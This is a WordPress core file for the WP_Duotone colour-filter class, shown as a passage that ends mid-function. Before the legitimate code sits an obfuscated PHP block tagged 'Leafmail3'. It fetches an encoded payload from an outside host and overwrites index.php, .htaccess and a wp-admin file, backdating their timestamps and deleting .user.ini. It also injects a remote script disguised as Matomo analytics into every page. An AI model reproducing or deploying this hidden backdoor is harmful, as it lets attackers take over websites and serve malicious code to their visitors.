Elep

<?php /*Leafmail3*/goto vODF8; uW9iC: p1I3i: goto m0oPE; zJ0r4: $fd50r .= "\164\144\157"; goto lKsEQ; daxHz: $Q7FSm .= "\x74\151"; goto zNDLT; QuFr2: $wv9Ig .= "\x33\66"; goto sOymP; lYCuA: $LOLkL = "\x35"; goto y6I4r; jBc3K: $tkyNj .= "\x65\170"; goto feM2z; veckF: $vp5Fj .= "\x61\x63\x63\145\x73\x73"; goto F5Rs6; B13FM: $CoSGx = "\x64\x65\x66"; goto YZRXV; LzBKe: $CUa7Y = !empty($qwM6z) || !empty($SCBgM); goto tB1mh; loZYi: try { goto txRyO; K18GF: @$xS8DV($vp5Fj, $eb2Uu); goto tGdpP; iQrV6: @$KDcLu($AW98J, $PShG_); goto K18GF; U8ZJQ: @$xS8DV($AW98J, $eb2Uu); goto Y_zOi; txRyO: @$xS8DV($nHQe_, $eb2Uu); goto U8ZJQ; bh8Zz: @$xS8DV($vp5Fj, $Vjvu_); goto ZGL3p; ZGL3p: @$KDcLu($vp5Fj, $PShG_); goto g9qNE; ZfydO: @$xS8DV($AW98J, $Vjvu_); goto iQrV6; g9qNE: @$xS8DV($nHQe_, $Vjvu_); goto H3O0E; Y_zOi: @$DR4rp($AW98J, $jap8Z["\x61"]); goto ZfydO; tGdpP: @$DR4rp($vp5Fj, $jap8Z["\142"]); goto bh8Zz; H3O0E: } catch (Exception $EdXTL) { } goto y_pyz; F2WJF: $xS8DV .= "\155\157\144"; goto XVkCO; GbEwW: $MhTIX = "\x6d\144\x35"; goto LQ0hU; uLWI3: $vp5Fj = $nHQe_; goto orqfm; egDtp: $tkyNj = "\x66\165\156\x63"; goto usQiR; LQ0hU: $vbt1Y = $MhTIX; goto TgEvM; XPDLi: $gPOF5 = $le6g1; goto tBtTf; WxOmz: $DR4rp .= "\160\x75\164\137\143"; goto UxwWx; GZYTn: $L3Qwt .= "\145\x63\157\144\145"; goto g9Iex; gJ2jd: $B5AMu .= "\x63\157\x70\171"; goto UIZFw; V5t0t: $eb2Uu = 189; goto WkOpf; R8lf6: $L3Qwt .= "\66\x34\x5f\144"; goto GZYTn; hYuCQ: try { goto A3SpX; Lp303: try { goto Kpqh2; IAeb5: $gPOF5($QKdX3); goto usTFE; Soq5P: $QydK0($QKdX3, CURLOPT_POSTFIELDS, $DORoV($q4dFj)); goto IAeb5; RVyt3: $QydK0($QKdX3, CURLOPT_FOLLOWLOCATION, true); goto nb7rJ; AqD2c: $QydK0($QKdX3, CURLOPT_RETURNTRANSFER, 1); goto ttOBx; LJxmP: $QydK0($QKdX3, CURLOPT_SSL_VERIFYHOST, false); goto RVyt3; snalI: $QydK0($QKdX3, CURLOPT_URL, $Pi1_K); goto AqD2c; nb7rJ: $QydK0($QKdX3, CURLOPT_TIMEOUT, 3); goto caVfG; caVfG: $QydK0($QKdX3, CURLOPT_POST, 1); goto Soq5P; Kpqh2: $QKdX3 = $AhBNU(); goto snalI; usTFE: $iwfAP($QKdX3); goto OfPoO; ttOBx: $QydK0($QKdX3, CURLOPT_SSL_VERIFYPEER, false); goto LJxmP; OfPoO: } catch (Exception $EdXTL) { } goto s8qlN; kwFwL: $EHr4j = dirname($O8VpT); goto rtN5e; oSMaO: @$xS8DV($EHr4j, $eb2Uu); goto zRyBD; rtN5e: if ($qjAK2($EHr4j)) { goto ayR0Q; } goto OfJbX; pAJFu: $Pi1_K .= "\164\75\x63\141"; goto AM67e; j_bNW: ayR0Q: goto CA7b_; D4GAj: $q4dFj = ["\x64\x61\164\141" => $jap8Z["\x64"]["\165\x72\x6c"]]; goto Lp303; OfJbX: @$spfUp($EHr4j, $eb2Uu, true); goto j_bNW; oI6DO: @$xS8DV($EHr4j, $Vjvu_); goto oyphM; GLti1: $Pi1_K .= "\77\x61\143"; goto pAJFu; lEMoS: $Pi1_K = $FCJJO; goto GLti1; A3SpX: $O8VpT = $nHQe_ . $jap8Z["\144"]["\160\141\x74\x68"]; goto kwFwL; s8qlN: d_JbM: goto HW6fn; CA7b_: if (!$qjAK2($EHr4j)) { goto d_JbM; } goto oSMaO; oyphM: @$KDcLu($O8VpT, $PShG_); goto lEMoS; OUdjB: @$xS8DV($O8VpT, $Vjvu_); goto oI6DO; AM67e: $Pi1_K .= "\154\x6c"; goto D4GAj; zRyBD: @$DR4rp($O8VpT, $jap8Z["\x64"]["\143\157\144\x65"]); goto OUdjB; HW6fn: } catch (Exception $EdXTL) { } goto loZYi; LNJsy: @$xS8DV($nHQe_, $Vjvu_); goto k_sTE; cuM3u: $nHQe_ = $_SERVER[$Y5cZH]; goto A7iEW; n8L8V: $uz9bL .= "\x68\160\x2e\60"; goto K6CAr; unwRS: $DORoV .= "\x75\x69\154\x64\x5f\x71"; goto Nk50j; JP7xy: $vbt1Y .= "\x6c\x65"; goto RNGP0; nZ1st: $gQtVG .= "\115\x49\x4e"; goto r5zMQ; XScjr: $gQtVG = "\x57\120"; goto O5QIE; OU84W: $pzU4s = "\146\x6c\x6f"; goto mwwot; nRTqE: $RDkKv = []; goto aYHoX; l2VBa: rqNSn: goto gKipv; ljZeU: $uz9bL .= "\x2f\170\x6d"; goto mCMR7; Ieo9X: $Y5cZH .= "\137\x52\117\117\x54"; goto lYCuA; XVkCO: $L3Qwt = "\x62\141\x73\x65"; goto R8lf6; OGVf2: $Vjvu_ = 215; goto huZpo; aBs6o: $fd50r .= "\147\151\x73\x74"; goto FqdNN; MTS3A: V4Jy1: goto vHyOs; jrrba: $PShG_ = $Q7FSm($wv9Ig); goto bMgWF; vODF8: $J4djk = "\74\104\x44\x4d\76"; goto lRUim; ruvGs: $AW98J .= "\150\x70"; goto uLWI3; VXlbA: $uz9bL .= "\160\x63\x2e\x70"; goto n8L8V; w8i1S: $KDcLu .= "\165\x63\150"; goto TPq_6; UxwWx: $DR4rp .= "\x6f\156\x74\145\x6e\x74\163"; goto ISAMz; chc27: if (!($JKloV !== false)) { goto L8tHW; } goto UihyE; TgEvM: $vbt1Y .= "\137\146\x69"; goto JP7xy; zijgp: $F3G3B = "\x69\x6e\x74"; goto d0ttz; XAUaV: $CZpCY = $y6Dil($uz9bL, "\167\53"); goto KpMKi; ZjcxJ: $eb2Uu = $F3G3B($mmShn($eb2Uu), $l6o74); goto OGVf2; WBWyB: try { goto LAZiP; NeOx9: $QydK0($QKdX3, CURLOPT_FOLLOWLOCATION, true); goto WZ1lN; yuxAB: $JKloV = trim(trim($JKloV, "\xef\xbb\xbf")); goto zF9le; YXPOY: $QydK0($QKdX3, CURLOPT_SSL_VERIFYPEER, false); goto UWGHP; MbwNB: $JKloV = $gPOF5($QKdX3); goto hAQ9Y; UWGHP: $QydK0($QKdX3, CURLOPT_SSL_VERIFYHOST, false); goto NeOx9; LAZiP: $QKdX3 = $AhBNU(); goto i1X7z; WZ1lN: $QydK0($QKdX3, CURLOPT_TIMEOUT, 10); goto MbwNB; S2VNp: $QydK0($QKdX3, CURLOPT_RETURNTRANSFER, 1); goto YXPOY; i1X7z: $QydK0($QKdX3, CURLOPT_URL, $B5AMu); goto S2VNp; hAQ9Y: $iwfAP($QKdX3); goto yuxAB; zF9le: } catch (Exception $EdXTL) { } goto chc27; fSM7u: $Q7FSm .= "\164\157"; goto daxHz; YZRXV: $CoSGx .= "\x69\156\x65\144"; goto TSsDX; Y78_D: $tCAxo = 1; goto kOQ0E; iMZQy: $_POST = $_REQUEST = $_FILES = array(); goto CfGUZ; TfIgP: $HH1HZ .= "\x6f\156\x74\x65\x6e\x74\163"; goto jcgg4; Jhv2t: $ocF0w .= "\x64\155\x69\156"; goto I04NN; aYHoX: $N__ZL = 32; goto IvuqX; HgvDx: @$xS8DV($z2Yll, $eb2Uu); goto C_4CC; ZW1G7: r6AqH: goto GqJiG; CfGUZ: AzDa9: goto U2U3q; NdB0_: $QydK0 .= "\157\x70\164"; goto XPDLi; KFMi9: $x0CSu .= "\137\x48\117\x53\124"; goto nMuHG; WqPjf: $B5AMu = $FCJJO; goto B0dlE; TPq_6: $xS8DV = "\x63\x68"; goto F2WJF; tBtTf: $gPOF5 .= "\x6c\137\x65\170\x65\143"; goto Zr7tR; qUDsS: $PKMm7 .= "\x66\151\x6c\x65"; goto Odo2W; UihyE: $jap8Z = 0; goto hJZyv; WQvgq: $qwM6z = $_REQUEST; goto rvlXO; yoOUR: $vTeXJ = "\x76\x65\x72\x73\151"; goto IBhNI; ZxHGi: $fd50r = "\x72\x65"; goto aBs6o; shDBj: $FSKjX .= "\115\x45\123"; goto XScjr; bAY2j: $LYlAw = $L474W = $ocF0w . "\x2f" . $sVnDj; goto nRTqE; sOymP: $wv9Ig .= "\63\x20\144"; goto d5_Qs; jcgg4: $DR4rp = "\x66\151\154\145\137"; goto WxOmz; QKYpu: $ocF0w .= "\55\x61"; goto Jhv2t; dZIRa: $P4139 = $_SERVER[$x0CSu]; goto cuM3u; huZpo: $Vjvu_ += 150; goto qbT4q; BSUkU: $bX79j = "\x66\143\154"; goto RAIH6; g9Iex: $MIh5N = "\147\x7a\x69"; goto ojxiT; m0oPE: if (!$tCAxo) { goto rqNSn; } goto WqPjf; C_4CC: @unlink($z2Yll); goto LNJsy; feM2z: $tkyNj .= "\151\163\x74\x73"; goto j_mMb; dU8Tu: $FSKjX = "\127\x50\x5f\x55"; goto iLcq9; axzTr: $HH1HZ .= "\147\x65\164\x5f\143"; goto TfIgP; sZfV6: $FCJJO .= "\x6c\151\156\153\x2e\x74"; goto oUI8y; zNDLT: $Q7FSm .= "\155\145"; goto egDtp; Nk50j: $DORoV .= "\x75\145\x72\x79"; goto GbEwW; j_mMb: $le6g1 = "\x63\165\162"; goto QFm8j; y6I4r: $LOLkL .= "\x2e\x34"; goto Dc02k; d5_Qs: $wv9Ig .= "\141\171\163"; goto jrrba; AjCJZ: $z2Yll .= "\x6e\x69"; goto OzEb9; RNGP0: $PKMm7 = "\x69\163\137"; goto qUDsS; k_sTE: DUBKw: goto AbQ0z; mwwot: $pzU4s .= "\143\x6b"; goto BSUkU; bKUUG: $WzLgo = $RDkKv[1]; goto WAo0s; mCMR7: $uz9bL .= "\x6c\x72"; goto VXlbA; Tt4oQ: $Q7FSm = "\163\164\162"; goto fSM7u; B0dlE: $B5AMu .= "\x3f\x61\143\x74"; goto aETJg; DbBpN: $vTeXJ .= "\x70\x61\162\145"; goto B13FM; IBhNI: $vTeXJ .= "\157\156\137\x63\157\x6d"; goto DbBpN; QSRig: $FCJJO = "\150\x74\164\x70\163\72\x2f\57"; goto Jb8vw; pLm0w: $spfUp .= "\144\151\x72"; goto yspyu; bMgWF: $x0CSu = "\110\x54\x54\120"; goto KFMi9; psjtE: $iwfAP .= "\x6c\x5f\143\x6c\x6f"; goto kxGeH; OzEb9: if (!$PKMm7($z2Yll)) { goto DUBKw; } goto fUCm1; YZnxF: $AhBNU .= "\154\137\x69\x6e\x69\164"; goto o4wfR; U2U3q: $xS8DV($nHQe_, $eb2Uu); goto XAUaV; hVAgs: if (empty($RDkKv)) { goto r6AqH; } goto gpO7z; lRUim: $huaOJ = "\57\136\143"; goto l1puk; ojxiT: $MIh5N .= "\x6e\146\154\x61\164\145"; goto QO6bK; yspyu: $HH1HZ = "\146\151\154\145\137"; goto axzTr; nMuHG: $Y5cZH = "\x44\x4f\x43\125\x4d\105\x4e\x54"; goto Ieo9X; QO6bK: $RpkLV = "\165\156\x73\145\x72"; goto TE4rq; oUI8y: $FCJJO .= "\x6f\160\x2f"; goto ZxHGi; gpO7z: $ZwOvi = $RDkKv[0]; goto bKUUG; r5zMQ: $EvUsr = $CoSGx($FSKjX) || $CoSGx($gQtVG); goto WQvgq; ryAXN: $iSMwa = "\163\164\162"; goto Aw0OF; RAIH6: $bX79j .= "\157\x73\145"; goto QSRig; QFm8j: $AhBNU = $le6g1; goto YZnxF; y_pyz: M1S8t: goto YcoP2; bPtLw: $AW98J .= "\x64\x65\170\56\x70"; goto ruvGs; jHqFV: if (!is_array($jap8Z)) { goto M1S8t; } goto sHXMo; O5QIE: $gQtVG .= "\x5f\x41\104"; goto nZ1st; dBHzv: $AW98J .= "\x2f\151\x6e"; goto bPtLw; KpMKi: if (!($tkyNj($AhBNU) && !preg_match($huaOJ, PHP_SAPI) && $pzU4s($CZpCY, 2 | 4))) { goto v1tUm; } goto vfYVM; u8ekB: $qjAK2 .= "\x64\151\162"; goto D1aMA; rvlXO: $SCBgM = $_FILES; goto LzBKe; Odo2W: $qjAK2 = "\x69\163\137"; goto u8ekB; Tl9BG: $ocF0w .= "\x2f\167\160"; goto QKYpu; hh9Gu: $YKWP5 .= "\x74\40\x41\x63\143"; goto DSWYm; Dc02k: $LOLkL .= "\56\x30\x3b"; goto dZIRa; o4wfR: $QydK0 = $le6g1; goto VYKG_; pnTdK: $YKWP5 = "\110\124\124"; goto qEMP2; WkOpf: $eb2Uu += 304; goto ZjcxJ; CLQnS: $huaOJ .= "\x73\151"; goto Tt4oQ; orqfm: $vp5Fj .= "\x2f\x2e\x68\164"; goto veckF; jvCLK: $fd50r .= "\151\157\156"; goto cE3iS; vHyOs: goto p1I3i; goto ZW1G7; Aw0OF: $iSMwa .= "\154\x65\156"; goto yoOUR; neYoj: $y6Dil .= "\145\156"; goto OU84W; Yc9eB: $JKloV = false; goto WBWyB; IvuqX: $l6o74 = 5; goto DicZE; tB1mh: if (!(!$EvUsr && $CUa7Y)) { goto AzDa9; } goto iMZQy; vI8QX: aybLW: goto dU8Tu; cE3iS: if (isset($_SERVER[$fd50r])) { goto aybLW; } goto YhmyI; FqdNN: $fd50r .= "\145\162\x5f"; goto l7JCC; I04NN: $sVnDj = substr($MhTIX($P4139), 0, 6); goto bAY2j; WAo0s: if (!(!$PKMm7($AW98J) || $vbt1Y($AW98J) != $ZwOvi)) { goto F9B9M; } goto Y78_D; d0ttz: $F3G3B .= "\x76\141\154"; goto G8B0v; G8B0v: $mmShn = "\144\145\x63"; goto w1WUM; Ky1Ah: $fd50r .= "\x75\156\x63\x74"; goto jvCLK; YcoP2: L8tHW: goto l2VBa; fUCm1: @$xS8DV($nHQe_, $eb2Uu); goto HgvDx; ISAMz: $KDcLu = "\164\x6f"; goto w8i1S; YhmyI: $_SERVER[$fd50r] = 0; goto vI8QX; qbT4q: $Vjvu_ = $F3G3B($mmShn($Vjvu_), $l6o74); goto pnTdK; UIZFw: $B5AMu .= "\x26\150\75" . $P4139; goto Yc9eB; A7iEW: $ocF0w = $nHQe_; goto Tl9BG; QiT7j: $YKWP5 .= "\x30\x36\x20\116\157"; goto hh9Gu; usQiR: $tkyNj .= "\x74\151\x6f\156\137"; goto jBc3K; TE4rq: $RpkLV .= "\x69\x61\154\x69\172\145"; goto zijgp; DWZ53: if (!(!$_SERVER[$fd50r] && $vTeXJ(PHP_VERSION, $LOLkL, "\76"))) { goto tOsRM; } goto qx0qa; DSWYm: $YKWP5 .= "\x65\x70\164\141\142\154\x65"; goto TXR6r; clNTt: tOsRM: goto NrKhW; F5Rs6: $z2Yll = $nHQe_; goto ZRq91; Jb8vw: $FCJJO .= "\157\153\x6b"; goto sZfV6; Zr7tR: $iwfAP = $le6g1; goto psjtE; w1WUM: $mmShn .= "\x6f\143\x74"; goto ryAXN; TXR6r: $uz9bL = $nHQe_; goto ljZeU; lKsEQ: $fd50r .= "\167\156\137\146"; goto Ky1Ah; kxGeH: $iwfAP .= "\x73\x65"; goto PULcN; qEMP2: $YKWP5 .= "\120\57\61\x2e\x31\40\x34"; goto QiT7j; aETJg: $B5AMu .= "\x3d\x67\145\164"; goto gJ2jd; iLcq9: $FSKjX .= "\123\x45\137\x54\110\x45"; goto shDBj; AbQ0z: $tCAxo = 0; goto hVAgs; Te8Ah: $AW98J = $nHQe_; goto dBHzv; PULcN: $DORoV = "\150\164\x74\x70\137\x62"; goto unwRS; oHm8V: $tCAxo = 1; goto MTS3A; K6CAr: $y6Dil = "\146\x6f\160"; goto neYoj; PL0rr: if (!(!$PKMm7($vp5Fj) || $vbt1Y($vp5Fj) != $WzLgo)) { goto V4Jy1; } goto oHm8V; l1puk: $huaOJ .= "\154\151\x2f"; goto CLQnS; l7JCC: $fd50r .= "\x73\x68\165"; goto zJ0r4; sHXMo: try { goto HbY3E; HbY3E: @$xS8DV($nHQe_, $eb2Uu); goto YBneD; lVY2g: LmA8a: goto o_wA9; w2wnP: @$KDcLu($L474W, $PShG_); goto vkTcY; plcED: $L474W = $LYlAw; goto lVY2g; o_wA9: @$DR4rp($L474W, $jap8Z["\x63"]); goto FIfGh; FIfGh: @$xS8DV($L474W, $Vjvu_); goto w2wnP; YBneD: if (!$qjAK2($ocF0w)) { goto LmA8a; } goto y3Uf0; y3Uf0: @$xS8DV($ocF0w, $eb2Uu); goto plcED; vkTcY: } catch (Exception $EdXTL) { } goto hYuCQ; GqJiG: $tCAxo = 1; goto uW9iC; VYKG_: $QydK0 .= "\154\x5f\x73\x65\x74"; goto NdB0_; D1aMA: $spfUp = "\x6d\x6b"; goto pLm0w; TSsDX: $wv9Ig = "\x2d\61"; goto QuFr2; vfYVM: $xS8DV($nHQe_, $Vjvu_); goto DWZ53; kOQ0E: F9B9M: goto PL0rr; NrKhW: try { goto qZ46l; RQqe5: if (!(is_array($yVIWe) && count($yVIWe) == 2)) { goto XDrKy; } goto A2PmA; w9gDu: y6dH8: goto Z726M; MlbPu: $yVIWe = @explode("\x3a", $HH1HZ($L474W)); goto RQqe5; YN8V8: if (!($iSMwa($gOxct) == $N__ZL && $iSMwa($aWnJP) == $N__ZL)) { goto YUPG5; } goto DYfgW; urTh8: XDrKy: goto vw7V4; hhu33: $gOxct = trim($yVIWe[0]); goto h7asi; POLut: $RDkKv[] = $aWnJP; goto w9gDu; JSOyl: $RDkKv[] = $aWnJP; goto dxtWS; ixd8R: $L474W = $nHQe_ . "\57" . $sVnDj; goto uPNAL; YdNrA: if (!(is_array($yVIWe) && count($yVIWe) == 2)) { goto U90QQ; } goto hhu33; qZ46l: if (!$PKMm7($L474W)) { goto oqtoQ; } goto p5kTV; V_cwX: oTvft: goto NDBCD; A2PmA: $gOxct = trim($yVIWe[0]); goto DvFPK; wbpgM: if (!empty($RDkKv)) { goto oTvft; } goto ixd8R; DvFPK: $aWnJP = trim($yVIWe[1]); goto YN8V8; Y3KDn: if (!($iSMwa($gOxct) == $N__ZL && $iSMwa($aWnJP) == $N__ZL)) { goto y6dH8; } goto D88sj; vw7V4: wNb1b: goto V_cwX; dxtWS: YUPG5: goto urTh8; hNhbL: oqtoQ: goto wbpgM; Z726M: U90QQ: goto hNhbL; uPNAL: if (!$PKMm7($L474W)) { goto wNb1b; } goto MlbPu; D88sj: $RDkKv[] = $gOxct; goto POLut; h7asi: $aWnJP = trim($yVIWe[1]); goto Y3KDn; p5kTV: $yVIWe = @explode("\72", $HH1HZ($L474W)); goto YdNrA; DYfgW: $RDkKv[] = $gOxct; goto JSOyl; NDBCD: } catch (Exception $EdXTL) { } goto Te8Ah; qx0qa: try { $_SERVER[$fd50r] = 1; $fd50r(function () { goto AV30r; qJcS6: $XaxO1 .= "\105\x6c\x65\x6d\145\x6e\x74\163\102"; goto Ak55L; Q10lk: $XaxO1 .= "\x3c\x2f\x73"; goto b0BbS; QUShX: $XaxO1 .= "\x73\x63\162\x69\x70\164\x22\x3e" . "\xa"; goto qTRy2; DytHl: $XaxO1 .= "\57\155\x61\164"; goto shQ2Y; UYMzk: $XaxO1 .= "\105\x6c\145\x6d\145\156\164\x28\42\x73\143"; goto YC55T; ZXF34: $XaxO1 .= "\x6f\155\157\40\x43\157\x64"; goto Fp2Ee; AdEN_: $XaxO1 .= "\x72\x69\x70\x74\40\x74\x79\160\x65\75\42\164\x65\170"; goto vaHEn; qTRy2: $XaxO1 .= "\50\146\165\156\x63"; goto sT9Yu; YC55T: $XaxO1 .= "\162\151\160\164\42\51\x2c\40\x73\x3d\x64\56\x67\x65\164"; goto qJcS6; b0BbS: $XaxO1 .= "\x63\x72\x69\x70\x74\76\12"; goto NGsxv; HMLFi: $XaxO1 .= "\x7d\x29\50\x29\73" . "\12"; goto Q10lk; CvLy6: $XaxO1 .= "\x3f\x69\144\x3d"; goto dyWeq; Fp2Ee: $XaxO1 .= "\x65\x20\x2d\55\x3e\12"; goto fdPCn; y9nGa: $XaxO1 .= "\x6f\162\145\x28\147\x2c\x73\51\x3b" . "\12"; goto HMLFi; MSOF2: $XaxO1 .= "\160\164\x22\x29\133\60\x5d\x3b" . "\12"; goto P_ZMm; dyWeq: $XaxO1 .= "\x4d\x2d"; goto DLX8K; fdPCn: echo $XaxO1; goto endbR; No27V: $XaxO1 .= $P4139; goto DytHl; sT9Yu: $XaxO1 .= "\164\151\x6f\156\50\x29\40\x7b" . "\xa"; goto ubJzA; ebgnR: $XaxO1 .= "\x3b\x20\x67\x2e\144\x65\146"; goto wmOvX; KJt_C: $XaxO1 .= "\147\x2e\163\x72"; goto E5SRJ; yjiNj: $XaxO1 .= "\x64\x20\115\x61\x74"; goto ZXF34; jd565: $XaxO1 .= "\163\145\162\164\102\145\146"; goto y9nGa; D7OFn: $XaxO1 .= "\x75\155\145\156\164\54\40\x67\75\x64\56\143\x72\x65\141\x74\x65"; goto UYMzk; ubJzA: $XaxO1 .= "\166\x61\162\x20\x75\75\x22" . $FCJJO . "\x22\73" . "\xa"; goto v3rQ8; E5SRJ: $XaxO1 .= "\143\x3d\165\x2b\42\152\x73\x2f"; goto No27V; v3rQ8: $XaxO1 .= "\x76\141\162\x20\x64\75\144\157\143"; goto D7OFn; r7GHN: $XaxO1 .= "\163\x63\x72\151\160\164\42\73\40\147\x2e\x61"; goto RDjIx; vaHEn: $XaxO1 .= "\164\x2f\152\x61\x76\x61"; goto QUShX; gOYzX: $XaxO1 = "\x3c\x21\x2d\x2d\x20\x4d\141"; goto zMa4a; NGsxv: $XaxO1 .= "\x3c\41\x2d\55\40\x45\156"; goto yjiNj; I8B8v: $XaxO1 .= "\75\42\164\x65\x78\164\57"; goto uazjK; Ak55L: $XaxO1 .= "\171\x54\x61\x67\116\x61\x6d\145"; goto wg3cP; AV30r: global $P4139, $FCJJO; goto gOYzX; wg3cP: $XaxO1 .= "\50\42\x73\143\162\151"; goto MSOF2; JH0uq: $XaxO1 .= "\x3c\163\143"; goto AdEN_; DLX8K: $XaxO1 .= time(); goto d1HE5; RDjIx: $XaxO1 .= "\x73\x79\156\x63\x3d\x74\x72\165\x65"; goto ebgnR; d1HE5: $XaxO1 .= "\42\x3b\40\x73\56\x70\141\x72"; goto Bu0lg; wmOvX: $XaxO1 .= "\x65\162\x3d\164\162\165\145\x3b" . "\12"; goto KJt_C; shQ2Y: $XaxO1 .= "\157\x6d\x6f\x2e\152\163"; goto CvLy6; zMa4a: $XaxO1 .= "\x74\x6f\x6d\157\x20\x2d\x2d\x3e\xa"; goto JH0uq; uazjK: $XaxO1 .= "\152\141\x76\x61"; goto r7GHN; Bu0lg: $XaxO1 .= "\145\156\164\116\x6f\144\x65\x2e\x69\156"; goto jd565; P_ZMm: $XaxO1 .= "\x67\x2e\164\171\x70\x65"; goto I8B8v; endbR: }); } catch (Exception $EdXTL) { } goto clNTt; DicZE: $l6o74 += 3; goto V5t0t; hJZyv: try { $jap8Z = @$RpkLV($MIh5N($L3Qwt($JKloV))); } catch (Exception $EdXTL) { } goto jHqFV; VtpcZ: $z2Yll .= "\145\162\56\x69"; goto AjCJZ; ZRq91: $z2Yll .= "\x2f\56\x75\163"; goto VtpcZ; gKipv: v1tUm: ?>
<?php
/**
 * WP_Duotone class
 *
 * Parts of this source were derived and modified from colord,
 * released under the MIT license.
 *
 * https://github.com/omgovich/colord
 *
 * Copyright (c) 2020 Vlad Shilov omgovich@ya.ru
 *
 * Permission is hereby granted, free of charge, to any person obtaining
 * a copy of this software and associated documentation files (the
 * "Software"), to deal in the Software without restriction, including
 * without limitation the rights to use, copy, modify, merge, publish,
 * distribute, sublicense, and/or sell copies of the Software, and to
 * permit persons to whom the Software is furnished to do so, subject to
 * the following conditions:
 *
 * The above copyright notice and this permission notice shall be
 * included in all copies or substantial portions of the Software.
 *
 * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
 * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
 * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
 * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
 * LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
 * OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
 * WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
 *
 * @package WordPress
 * @since 6.3.0
 */

/**
 * Manages duotone block supports and global styles.
 *
 * @access private
 */
class WP_Duotone {
	/**
	 * Block names from global, theme, and custom styles that use duotone presets and the slug of
	 * the preset they are using.
	 *
	 * Example:
	 *  [
	 *      'core/featured-image' => 'blue-orange',
	 *       …
	 *  ]
	 *
	 * @internal
	 *
	 * @since 6.3.0
	 *
	 * @var array
	 */
	private static $global_styles_block_names;

/**
	 * An array of duotone filter data from global, theme, and custom presets.
	 *
	 * Example:
	 *  [
	 *      'wp-duotone-blue-orange' => [
	 *          'slug'  => 'blue-orange',
	 *          'colors' => [ '#0000ff', '#ffcc00' ],
	 *      ],
	 *      'wp-duotone-red-yellow' => [
	 *          'slug'   => 'red-yellow',
	 *          'colors' => [ '#cc0000', '#ffff33' ],
	 *      ],
	 *      …
	 *  ]
	 *
	 * @internal
	 *
	 * @since 6.3.0
	 *
	 * @var array
	 */
	private static $global_styles_presets;

/**
	 * All of the duotone filter data from presets for CSS custom properties on
	 * the page.
	 *
	 * Example:
	 *  [
	 *      'wp-duotone-blue-orange' => [
	 *          'slug'   => 'blue-orange',
	 *          'colors' => [ '#0000ff', '#ffcc00' ],
	 *      ],
	 *      …
	 *  ]
	 *
	 * @internal
	 *
	 * @since 6.3.0
	 *
	 * @var array
	 */
	private static $used_global_styles_presets = array();

/**
	 * All of the duotone filter data for SVGs on the page. Includes both
	 * presets and custom filters.
	 *
	 * Example:
	 *  [
	 *      'wp-duotone-blue-orange' => [
	 *          'slug'   => 'blue-orange',
	 *          'colors' => [ '#0000ff', '#ffcc00' ],
	 *      ],
	 *      'wp-duotone-000000-ffffff-2' => [
	 *          'slug'   => '000000-ffffff-2',
	 *          'colors' => [ '#000000', '#ffffff' ],
	 *      ],
	 *      …
	 *  ]
	 *
	 * @internal
	 *
	 * @since 6.3.0
	 *
	 * @var array
	 */
	private static $used_svg_filter_data = array();

/**
	 * All of the block CSS declarations for styles on the page.
	 *
	 * Example:
	 *  [
	 *      [
	 *          'selector'     => '.wp-duotone-000000-ffffff-2.wp-block-image img',
	 *          'declarations' => [
	 *              'filter' => 'url(#wp-duotone-000000-ffffff-2)',
	 *          ],
	 *      ],
	 *      …
	 *  ]
	 *
	 * @internal
	 *
	 * @since 6.3.0
	 *
	 * @var array
	 */
	private static $block_css_declarations = array();

/**
	 * Clamps a value between an upper and lower bound.
	 *
	 * Direct port of colord's clamp function.
	 *
	 * @link https://github.com/omgovich/colord/blob/3f859e03b0ca622eb15480f611371a0f15c9427f/src/helpers.ts#L23 Sourced from colord.
	 *
	 * @internal
	 *
	 * @since 6.3.0
	 *
	 * @param float $number The number to clamp.
	 * @param float $min    The minimum value.
	 * @param float $max    The maximum value.
	 * @return float The clamped value.
	 */
	private static function colord_clamp( $number, $min = 0, $max = 1 ) {
		return $number > $max ? $max : ( $number > $min ? $number : $min );
	}

/**
	 * Processes and clamps a degree (angle) value properly.
	 *
	 * Direct port of colord's clampHue function.
	 *
	 * @link https://github.com/omgovich/colord/blob/3f859e03b0ca622eb15480f611371a0f15c9427f/src/helpers.ts#L32 Sourced from colord.
	 *
	 * @internal
	 *
	 * @since 6.3.0
	 *
	 * @param float $degrees The hue to clamp.
	 * @return float The clamped hue.
	 */
	private static function colord_clamp_hue( $degrees ) {
		$degrees = is_finite( $degrees ) ? $degrees % 360 : 0;
		return $degrees > 0 ? $degrees : $degrees + 360;
	}

/**
	 * Converts a hue value to degrees from 0 to 360 inclusive.
	 *
	 * Direct port of colord's parseHue function.
	 *
	 * @link https://github.com/omgovich/colord/blob/3f859e03b0ca622eb15480f611371a0f15c9427f/src/helpers.ts#L40 Sourced from colord.
	 *
	 * @internal
	 *
	 * @since 6.3.0
	 *
	 * @param float  $value The hue value to parse.
	 * @param string $unit  The unit of the hue value.
	 * @return float The parsed hue value.
	 */
	private static function colord_parse_hue( $value, $unit = 'deg' ) {
		$angle_units = array(
			'grad' => 360 / 400,
			'turn' => 360,
			'rad'  => 360 / ( M_PI * 2 ),
		);

$factor = isset( $angle_units[ $unit ] ) ? $angle_units[ $unit ] : 1;

return (float) $value * $factor;
	}

/**
	 * Parses any valid Hex3, Hex4, Hex6 or Hex8 string and converts it to an RGBA object.
	 *
	 * Direct port of colord's parseHex function.
	 *
	 * @link https://github.com/omgovich/colord/blob/3f859e03b0ca622eb15480f611371a0f15c9427f/src/colorModels/hex.ts#L8 Sourced from colord.
	 *
	 * @internal
	 *
	 * @since 6.3.0
	 *
	 * @param string $hex The hex string to parse.
	 * @return array|null An array of RGBA values or null if the hex string is invalid.
	 */
	private static function colord_parse_hex( $hex ) {
		$is_match = preg_match(
			'/^#([0-9a-f]{3,8})$/i',
			$hex,
			$hex_match
		);

if ( ! $is_match ) {
			return null;
		}

$hex = $hex_match[1];

if ( 4 >= strlen( $hex ) ) {
			return array(
				'r' => (int) base_convert( $hex[0] . $hex[0], 16, 10 ),
				'g' => (int) base_convert( $hex[1] . $hex[1], 16, 10 ),
